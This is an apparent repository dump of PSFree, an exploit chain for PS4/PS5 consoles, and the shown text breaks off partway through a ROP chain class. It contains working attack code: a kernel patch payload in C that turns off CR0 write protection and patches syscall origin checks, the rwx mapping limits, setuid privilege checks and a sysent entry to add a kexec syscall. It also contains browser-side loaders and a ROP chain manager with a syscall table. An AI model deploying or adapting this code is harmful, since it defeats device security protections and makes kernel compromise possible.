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# PSFree version 1.5.0
PSFree is a collection of exploits for the PS4 console. The main focus of the
repo is for the PS4 but we try to make things portable to PS5.
* Exploits
* PSFree: src/psfree.mjs
* Lapse (kernel): src/scripts/lapse.mjs
Donation (Monero/XMR):
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
# COPYRIGHT AND AUTHORS:
AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group
`anonymous`. We refer to anonymous contributors as "anonymous" as well.
# CREDITS:
* anonymous for PS4 firmware kernel dumps
* Check the appropriate files for any **extra** contributors. Unless otherwise
stated, everything here can also be credited to us.

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* 1.5.0:
* add Lapse kernel exploit
* rewrite PSFree exploit
* 1.4.0:
* add kernel patch payload for 8.0x
fixes:
* remove the risk of crashing from using the Chain classes
* remove the risk of crashing from using make_buffer()
* (PS5 < 3.00) use valid config at exploit.mjs:setup_ssv_data
* 1.3.0:
* improve the speed and reliability of the exploit (exploit.mjs)
* add ROP chain managers for 8.5x, 9.0x, 9.5x
* drop support for webkitgtk 2.34.4, see 1.0.0 for a working implementation
* 1.2.0:
* add support for PS4 6.00-6.20
* 1.1.0:
* add support for running ROP chains (PS4 8.03)
* add support for calling syscalls (PS4 8.03)
* 1.0.0:
* add proof-of-concept code to gain arbitrary read/write
(PS4 6.50-9.60/PS5 1.00-5.50)

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PS4/PS5 Firmware Series Convention
Convention used by this repo to refer to a set of firmwares.
The pattern X.Yx means X.Y0 <= firmware < (X + 1).V0. Y is either 0 or 5. V is
5 if Y is 0, 0 if Y is 5.
examples:
* 6.0x refer to 6.00 <= fw < 6.50.
* 6.5x refer to 6.50 <= fw < 7.00.
The pattern X.xx means X.00 <= firmware < (X + 1).00.
examples:
* 6.xx refer to 6.00 <= fw < 7.00.
* 7.xx refer to 7.00 <= fw < 8.00.

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EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
<https://www.gnu.org/licenses/>.

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<!-- Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-->
<html>
<head>
<meta charset='utf-8'>
<title>About PSFree</title>
</head>
<body>
PSFree is an exploit chain for PS4 and PS5.<br>
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
PSFree's license is GNU-AGPL-3.0-or-later.<br>
Here is the source code of this program:<br>
<br>
HTML files:<br>
<a href='./index.html' download>index.html</a><br>
<a href='./about.html' download>about.html</a><br>
JavaScript files:<br>
<table id="jslicense-labels1">
<tr>
<td><a href="./psfree.mjs">psfree.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./psfree.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./alert.mjs">alert.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./alert.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./config.mjs">config.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./config.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./send.mjs">send.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./send.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./scripts/lapse.mjs">scripts/lapse.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./scripts/lapse.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/800.mjs">rop/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/800.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/chain.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/int64.mjs">module/int64.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/int64.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/view.mjs">module/view.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/view.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/memtools.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/utils.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/rw.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/offset.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/mem.mjs" download>download</a></td>
</tr>
</table>
kpatch/ files:<br>
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
<a href="./kpatch/Makefile">kpatch/Makefile</a><br>
<a href="./kpatch/80x.c">kpatch/80x.c</a><br>
<a href="./kpatch/types.h">kpatch/types.h</a><br>
fonts/ files:<br>
<a href="./fonts/README.txt">fonts/README.txt</a><br>
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br>
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br>
</body>
</html>

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// We can't just open a console on the ps4 browser, make sure the errors thrown
// by our program are alerted.
// We don't use a custom logging function to avoid a dependency on a logging
// module since we want this file to stand alone. We don't want to copy the
// log function here either for the sake avoiding dependencies since using
// alert() is good enough.
// We log the line and column numbers as well since some exceptions (like
// SyntaxError) do not show it in the stack trace.
addEventListener('unhandledrejection', event => {
const reason = event.reason;
alert(
'Unhandled rejection\n'
+ `${reason}\n`
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ `${reason.stack}`
);
});
addEventListener('error', event => {
const reason = event.error;
alert(
'Unhandled error\n'
+ `${reason}\n`
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ `${reason.stack}`
);
return true;
});
// we have to dynamically import the program if we want to catch its syntax
// errors
import('./psfree.mjs');

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// webkitgtk 2.34.4 was used to develop the portable parts of the exploit
// before moving on to ps4 8.03
//
// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable
// can affect the size of SerializedScriptValue
//
// this target is no longer supported
// target firmware format used by PSFree
//
// 0xC_MM_mm
//
// * C console - PS4 (0) or PS5 (1) (1 bit)
// * MM major version - integer part of the firmware version (8 bits)
// * mm minor version - fractional part of the firmware version (8 bits)
//
// examples:
// * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00
// * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51
// check if value is in Binary Coded Decimal format
// assumes integer and is in the range [0, 0xffff]
function check_bcd(value) {
for (let i = 0; i <= 12; i += 4) {
const nibble = (value >>> i) & 0xf;
if (nibble > 9) {
return false;
}
}
return true;
}
export function set_target(value) {
if (!Number.isInteger(value)) {
throw TypeError(`value not an integer: ${value}`);
}
if (value >= 0x20000 || value < 0) {
throw RangeError(`value >= 0x20000 or value < 0: ${value}`);
}
const version = value & 0xffff;
if (!check_bcd(version)) {
throw RangeError(`value & 0xffff not in BCD format ${version}`);
}
target = value;
}
export let target = null;
set_target(0x800);

101
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Digitized data copyright (c) 2010 Google Corporation
with Reserved Font Arimo, Tinos and Cousine.
Copyright (c) 2012 Red Hat, Inc.
with Reserved Font Name Liberation.
This Font Software is licensed under the SIL Open Font License,
Version 1.1.
This license is copied below, and is also available with a FAQ at:
http://scripts.sil.org/OFL
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
PREAMBLE The goals of the Open Font License (OFL) are to stimulate
worldwide development of collaborative font projects, to support the font
creation efforts of academic and linguistic communities, and to provide
a free and open framework in which fonts may be shared and improved in
partnership with others.
The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves.
The fonts, including any derivative works, can be bundled, embedded,
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply to
any document created using the fonts or their derivatives.
DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such.
This may include source files, build scripts and documentation.
"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).
"Original Version" refers to the collection of Font Software components
as distributed by the Copyright Holder(s).
"Modified Version" refers to any derivative made by adding to, deleting,
or substituting ? in part or in whole ?
any of the components of the Original Version, by changing formats or
by porting the Font Software to a new environment.
"Author" refers to any designer, engineer, programmer, technical writer
or other person who contributed to the Font Software.
PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining a
copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:
1) Neither the Font Software nor any of its individual components,in
Original or Modified Versions, may be sold by itself.
2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.
3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the
corresponding Copyright Holder. This restriction only applies to the
primary font name as presented to the users.
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.
5) The Font Software, modified or unmodified, in part or in whole, must
be distributed entirely under this license, and must not be distributed
under any other license. The requirement for fonts to remain under
this license does not apply to any document created using the Font
Software.
TERMINATION
This license becomes null and void if any of the above conditions are not met.
DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER
DEALINGS IN THE FONT SOFTWARE.

BIN
src/fonts/LiberationMono-Regular.ttf Normal file
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3
src/fonts/README.txt Normal file
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git: https://github.com/liberationfonts/liberation-fonts.git
See FONTS.LICENSE for the license.

41
src/index.html Normal file
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<!-- Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-->
<html>
<head>
<meta charset='utf-8'>
<title>exploit</title>
<style>
@font-face {
font-family: 'logging';
src: url('fonts/LiberationMono-Regular.ttf');
}
#console {
font-family: 'logging';
}
</style>
</head>
<body>
PSFree: A PS4/PS5 Exploit Chain<br>
Donation (Monero/XMR):<br>
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS<br>
See <a href='./about.html' data-jslicense='1'>JavaScript license information</a> for the
source code and license.<br>
<pre id='console'></pre>
</body>
<script type='module' src='alert.mjs'></script>
</html>

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/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xfd03a, 0x37);
write8(kbase, 0xfd03d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x3ec68d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x31953f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x951c0, 0xC3C03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x34d696, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc6e0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

27
src/kpatch/Makefile Normal file
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TARGET = 80x
ENTRY = 0x900000000
src = $(TARGET).c
CC = gcc
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
CFLAGS += -fwrapv-pointer -std=gnu11
.PHONY: all
all: $(TARGET).elf
$(TARGET).elf: $(TARGET).o
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
.PHONY: clean
clean:
-rm -f *.d *.o *.elf
%.d: %.c
@set -e; \
rm -f $@; \
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
rm -f $@.$$$$;
include $(src:.c=.d)

8
src/kpatch/script.ld Normal file
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@@ -0,0 +1,8 @@
SECTIONS
{
.text : { *(.text.start) *(.text) }
.rodata : { *(.rodata) }
.data : { *(.data) }
.bss : { *(.bss) }
/DISCARD/ : { *(.comment* .note*) }
}

28
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/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#pragma once
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;

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/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#pragma once
#include <stddef.h>
#include "types.h"
inline u64 rdmsr(u32 msr) {
u32 low, high;
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
return (low | ((u64)high << 32));
}
inline void enable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"or rax, 0x10000\n"
"mov cr0, rax\n"
::: "rax");
}
inline void disable_cr0_wp(void) {
asm(
"mov rax, cr0\n"
"and rax, ~0x10000\n"
"mov cr0, rax\n"
::: "rax");
}
inline void write8(void *addr, size_t offset, u8 value) {
*(u8 *)(addr + offset) = value;
}
inline void write16(void *addr, size_t offset, u16 value) {
*(u16 *)(addr + offset) = value;
}
inline void write32(void *addr, size_t offset, u32 value) {
*(u32 *)(addr + offset) = value;
}
inline void write64(void *addr, size_t offset, u64 value) {
*(u64 *)(addr + offset) = value;
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
import { get_view_vector } from './memtools.mjs';
import { Addr } from './mem.mjs';
import * as config from '/config.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
'read' : 3,
'write' : 4,
'open' : 5,
'close' : 6,
'getpid' : 20,
'setuid' : 23,
'getuid' : 24,
'accept' : 30,
'pipe' : 42,
'ioctl' : 54,
'munmap' : 73,
'mprotect' : 74,
'fcntl' : 92,
'socket' : 97,
'connect' : 98,
'bind' : 104,
'setsockopt' : 105,
'listen' : 106,
'getsockopt' : 118,
'fchmod' : 124,
'socketpair' : 135,
'fstat' : 189,
'getdirentries' : 196,
'__sysctl' : 202,
'mlock' : 203,
'clock_gettime' : 232,
'nanosleep' : 240,
'sched_yield' : 331,
'kqueue' : 362,
'kevent' : 363,
'rtprio_thread' : 466,
'mmap' : 477,
'ftruncate' : 480,
'shm_open' : 482,
'cpuset_getaffinity' : 487,
'cpuset_setaffinity' : 488,
'jitshm_create' : 533,
'jitshm_alias' : 534,
'evf_create' : 538,
'evf_delete' : 539,
'evf_set' : 544,
'evf_clear' : 545,
'set_vm_container' : 559,
'dmem_container' : 586,
'dynlib_dlsym' : 591,
'dynlib_get_list' : 592,
'dynlib_get_info' : 593,
'dynlib_load_prx' : 594,
'randomized_path' : 602,
'budget_get_ptype' : 610,
'thr_suspend_ucontext' : 632,
'thr_resume_ucontext' : 633,
'blockpool_open' : 653,
'blockpool_map' : 654,
'blockpool_unmap' : 655,
'blockpool_batch' : 657,
// syscall 661 is unimplemented so free for use. a kernel exploit will
// install "kexec" here
'aio_submit' : 661,
'kexec' : 661,
'aio_multi_delete' : 662,
'aio_multi_wait' : 663,
'aio_multi_poll' : 664,
'aio_multi_cancel' : 666,
'aio_submit_cmd' : 669,
'blockpool_move' : 673,
}));
const argument_pops = [
'pop rdi; ret',
'pop rsi; ret',
'pop rdx; ret',
'pop rcx; ret',
'pop r8; ret',
'pop r9; ret',
];
// implementations are expected to have these gadgets:
// * libSceLibcInternal:
// * __errno - FreeBSD's function to get the location of errno
// * setcontext - what we call Sony's own version of _Ux86_64_setcontext
// * getcontext - what we call Sony's own version of _Ux86_64_getcontext
// * anywhere:
// * the gadgets at argument_pops
// * ret
//
// setcontext/getcontext naming came from this project:
// https://github.com/libunwind/libunwind
//
// setcontext(context *ctx):
// mov rax, qword [rdi + 0x38]
// sub rax, 0x10 ; 16
// mov qword [rdi + 0x38], rax
// mov rbx, qword [rdi + 0x20]
// mov qword [rax], rbx
// mov rbx, qword [rdi + 0x80]
// mov qword [rax + 8], rbx
// mov rax, qword [rdi]
// mov rbx, qword [rdi + 8]
// mov rcx, qword [rdi + 0x10]
// mov rdx, qword [rdi + 0x18]
// mov rsi, qword [rdi + 0x28]
// mov rbp, qword [rdi + 0x30]
// mov r8, qword [rdi + 0x40]
// mov r9, qword [rdi + 0x48]
// mov r10, qword [rdi + 0x50]
// mov r11, qword [rdi + 0x58]
// mov r12, qword [rdi + 0x60]
// mov r13, qword [rdi + 0x68]
// mov r14, qword [rdi + 0x70]
// mov r15, qword [rdi + 0x78]
// cmp qword [rdi + 0xb0], 0x20001
// jne done
// cmp qword [rdi + 0xb8], 0x10002
// jne done
// fxrstor [rdi + 0xc0]
// done:
// mov rsp, qword [rdi + 0x38]
// pop rdi
// ret
//
// getcontext(context *ctx):
// mov qword [rdi], rax
// mov qword [rdi + 8], rbx
// mov qword [rdi + 0x10], rcx
// mov qword [rdi + 0x18], rdx
// mov qword [rdi + 0x20], rdi
// mov qword [rdi + 0x28], rsi
// mov qword [rdi + 0x30], rbp
// mov qword [rdi + 0x38], rsp
// add qword [rdi + 0x38], 8
// mov qword [rdi + 0x40], r8
// mov qword [rdi + 0x48], r9
// mov qword [rdi + 0x50], r10
// mov qword [rdi + 0x58], r11
// mov qword [rdi + 0x60], r12
// mov qword [rdi + 0x68], r13
// mov qword [rdi + 0x70], r14
// mov qword [rdi + 0x78], r15
// mov rsi, qword [rsp]
// mov qword [rdi + 0x80], rsi
// fxsave [rdi + 0xc0]
// mov qword [rdi + 0xb0], 0x20001
// mov qword [rdi + 0xb8], 0x10002
// xor eax, eax
// ret
// ROP chain manager base class
//
// Args:
// stack_size: the size of the stack
// upper_pad: the amount of extra space above stack
export class ChainBase {
constructor(stack_size=0x1000, upper_pad=0x10000) {
this._is_dirty = false;
this.position = 0;
const return_value = new Uint32Array(4);
this._return_value = return_value;
this.retval_addr = get_view_vector(return_value);
const errno = new Uint32Array(1);
this._errno = errno;
this.errno_addr = get_view_vector(errno);
const full_stack_size = upper_pad + stack_size;
const stack_buffer = new ArrayBuffer(full_stack_size);
const stack = new DataView(stack_buffer, upper_pad);
this.stack = stack;
this.stack_addr = get_view_vector(stack);
this.stack_size = stack_size;
this.full_stack_size = full_stack_size;
}
// use this if you want to write a new ROP chain but don't want to allocate
// a new instance
empty() {
this.position = 0;
}
// flag indicating whether .run() was ever called with this chain
get is_dirty() {
return this._is_dirty;
}
clean() {
this._is_dirty = false;
}
dirty() {
this._is_dirty = true;
}
check_allow_run() {
if (this.position === 0) {
throw Error('chain is empty');
}
if (this.is_dirty) {
throw Error('chain already ran, clean it first');
}
}
reset() {
this.empty();
this.clean();
}
get retval_int() {
return this._return_value[0] | 0;
}
get retval() {
return new Int(this._return_value[0], this._return_value[1]);
}
// return value as a pointer
get retval_ptr() {
return new Addr(this._return_value[0], this._return_value[1]);
}
set retval(value) {
const values = lohi_from_one(value);
const retval = this._return_value;
retval[0] = values[0];
retval[1] = values[1];
}
get retval_all() {
const retval = this._return_value;
return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
}
set retval_all(values) {
